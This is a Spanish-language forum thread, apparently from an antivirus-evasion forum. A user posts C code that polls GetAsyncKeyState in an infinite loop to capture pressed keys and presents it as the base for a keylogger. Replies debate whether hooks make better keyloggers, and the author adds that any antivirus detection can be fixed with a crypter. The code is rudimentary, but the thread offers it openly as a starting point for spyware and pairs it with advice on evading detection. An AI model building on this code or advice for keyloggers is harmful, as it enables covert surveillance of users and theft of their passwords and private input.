Página 1 de 1
[Source] Obtener teclas presionadas en C by linkgl
Publicado: 13 Dic 2010, 03:36
por linkgl
Código: Seleccionar todo
/********************
* Coder: Linkgl *
* Fecha 12/12/10 *
* Indetectables.net *
* Obtener teclas *
* Presionadas *
********************/
#include <stdio.h>
#include <windows.h>
int main()
{
int i; //contador
while(1) //inicializamos bucle infinito
{
for(i=0;i<255;i++) //contamos todos los caracteres ascii disponibles
{
if(GetAsyncKeyState(i)== -32767) //obtenemos el ascii del que esta presionado (-32767)
{
// printf("%c",(char)i); Mostramos la tecla en pantalla (opcional) convirtiendola en caracter con (char)
}
}
}
return 0;
}
Es una forma sencilla sin tener que estar haciendo if's para saber que letra es la A y así, con la api GetAsyncKeyState, faltarían unos if's para exepciones como enter, mayúsculas, etcétera... Pero funciona con las letras normales, ahí tienen la base para un keylogger
Re: Obtener teclas presionadas en C by linkgl
Publicado: 13 Dic 2010, 03:57
por ØnLy
Lindo Code , faltarian los caracteres especiales.....
Re: Obtener teclas presionadas en C by linkgl
Publicado: 13 Dic 2010, 04:38
por osnaraus
Gracias por el code linkgl, pero si no utilizas Hooks en C, el GetAsyncKeyState se come los recursos de la pc, y ademas se pierden muchas teclas (si el usuario es veloz....como yo )
Re: Obtener teclas presionadas en C by linkgl
Publicado: 13 Dic 2010, 05:48
por linkgl
osnaraus escribió:Gracias por el code linkgl, pero si no utilizas Hooks en C, el GetAsyncKeyState se come los recursos de la pc, y ademas se pierden muchas teclas (si el usuario es veloz....como yo )
Naa no se consume tanto los recursos anda bien en una de 512 de ram (como si nada), igual y sí consume un poco más que usando hooks, pero xD no se pierde ninguna tecla con la API :) esto te sucederá porque tal vez haces un bucle infinito con sleep o en vb con un timer, pero así constante no se le va ni una ;) la única desventaja que le veo a la API es la detección pero pues nada que un crypter no arregle
Re: Obtener teclas presionadas en C by linkgl
Publicado: 13 Dic 2010, 10:23
por osnaraus
linkgl escribió:Naa no se consume tanto los recursos anda bien en una de 512 de ram (como si nada), igual y sí consume un poco más que usando hooks, pero xD no se pierde ninguna tecla con la API :) esto te sucederá porque tal vez haces un bucle infinito con sleep o en vb con un timer, pero así constante no se le va ni una ;)
Seguramente esté equivocado yo, que soy el inexperto en C
Re: Obtener teclas presionadas en C by linkgl
Publicado: 13 Dic 2010, 14:57
por mDrinky
Con la api GetAsyncKeyState se hace un pesimo keylogger. Son infinitamente mejor los Hooks.
Para captar por ejemplo solo cuando se pulsa f1, esta bien, pero no para keylogger.
salu2!
Re: Obtener teclas presionadas en C by linkgl
Publicado: 13 Dic 2010, 15:52
por The Swash
Linkgayl, te cuento que osnaraus tiene toda la razón, quizás no con velocidad normal se pierden pero te recomiendo que pruebes presionando varias teclas seguidamente y te daras cuenta que se comera una que otra, y tampoco es que el consumo sea excesivo pero si es un poquito alto.
Saludos y gracias por el ejemplo.
Re: Obtener teclas presionadas en C by linkgl
Publicado: 13 Dic 2010, 18:58
por linkgl
Sí osnaraus yo no he dicho que no tienes razón, sí consume más recursos y se pierden teclas si presionas varias a la vez, pero no a como escribe una persona promedio, con hooks es más lío, por eso hago un ejemplo con esta API, el que quiera algo mejor pues que le cueste un poco más, saludos
Re: Obtener teclas presionadas en C by linkgl
Publicado: 15 Dic 2010, 02:19
por K-0Z
se agradece el aporte bro
para que discutir si con hooks es mejor o no, veamos primero lo que se quiera hacer... si es para hacer un keylogger profesional seria recomendable usar hooks, en cambio si nadamas queremos saber que tecla presiona el usuario o si presionó X tecla es recomendable el codigo que nos dejas, recuerden que el algoritmo va de acuerdo a las necesidades del programador, un saludo